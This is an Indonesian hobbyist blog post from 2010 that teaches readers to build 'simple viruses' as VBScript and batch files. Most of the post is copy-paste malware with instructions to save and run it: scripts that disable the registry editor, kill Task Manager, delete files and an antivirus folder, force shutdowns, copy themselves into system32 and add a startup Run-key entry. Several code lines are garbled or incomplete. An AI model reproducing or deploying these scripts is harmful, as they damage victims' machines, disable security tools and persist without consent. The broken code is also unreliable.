0
comments
|
6/28/10
Virus .vbs Sederhana weeeweee….seruuu niii…
Q buat nie pertama q PKL di Muyassar Media , karna gg ada kerjaan q utak atik zz windows di komp q, ehh gg lama q d kasih Tutor VBS dari Master q yang baik..langsung zz ea….
Cukup :
1. Buka Notepad
2. Copy Code dibawah ini
lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")
3. Save dengan format .vbs (ex : virus1.vbs). Simpan juga dengan format all file
4. Jalankan Virusnya
5. Akan muncul pilihan yes or no. Pilih saja salah satu (Yes atau No). Tidak akan terjadi apa-apa kok.
Note : Pesan yang muncul bisa diganti-ganti. Dan jika mau program itu aktif ketika komputer startup, letakkan programnya di C:\Documents and Settings\*namauser*\Start Menu\Programs\Startup
Virus yang bisa mendisable Registry
Virus yang satu ini mampu mendisable registry. Nah jika ingin mencoba ikuti saja langkah- langkah berikut:
1. Buka Notepad
2. Masukkan script di bawah ini
On Error Resume Next
CreateObject("WScript.Shell").run "cmd.exe /c reg add hkcusoftware\microsoft\windows\currentversion\poli cies\system /v
disableregistrytools /t reg_dword /d ""1"" /f", vbhide
3. Simpan dengan nama apa saja asal ekstensi .vbs dan format all file (ex : registry123.vbs)
Virus Penghenti Proses
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide
3. Kode diatas untuk menghentikan aktivitas task manager.
4. Save dengan ekstensi .vbs dan format all file
Virus Penghapus file dan folder
On Error Resume Next
set hapus = CreateObject("Scripting.FileSystemObject")
hapus.DeleteFile "C:\xxx.exe" '(menghapus file xxx.exe di direktory C:\)
hapus.DeleteFolder "C:\antivirus" '(menghapus folder antivirus di direktory C:\)
3. Contohnya seperti ini :
On Error resume Next
set hapus = CreateObject(”Scripting.FileSystemObject”)
hapus.DeleteFile “C:\Program Files\Windows Media Player\wmplayer.exe”
hapus.DeleteFolder “C:\antivirus”
4. Save dengan ekstensi .vbs dan format all file
Virus yang Membuat Restart
CreateObject("WScript.Shell").run "shutdown -r -f -t 60", vbhide
3. Angka 60, adalah waktu yang dibutuhkan untuk shutdown (satuan detik)
4. Simpan dengan ekstensi .vbs dan format all file
Note: Script ini bisa anda kombinasikan dengan virus no.1 pada postingan sebelumnya
Virus yang Membuat Restart dan Shutdown
CreateObject("WScript.Shell").run "shutdown -s -f -t 60", vbhide
Virus yang dapat Mengcopy ke Directory lain
CreateObject("Scripting.FileSystemObject").
GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs"
Menjalankan virus ketika startup
CreateObject("WScript.Shell").RegWrite "HKEY_LOCAL_MACHINESoftware\Microsoft\Windows\Curr entVersion\Run\virus"
, "c:\windows\system32\virus.vbs"
3. Script diatas untuk menjalankan virus di directory system 32 ketika startup
4. Save dengan ekstensi .reg
Virus Pengubah Password Windows
@echo off
"%username%" (ini untuk user name)
"ur choice" (passwordnya yang mau dirubah apa)
pause
3. Save dengan format all file dan ekstensi .bat
Thanks for all…
Maste yana prie .TI dan master cuarna, atas bimbingan kalian hingga bisa membuat saya seperti ini…
…Salam nEwBiE PaSundAn…
Labels: virus
0 Comments:
Post a Comment
<< Home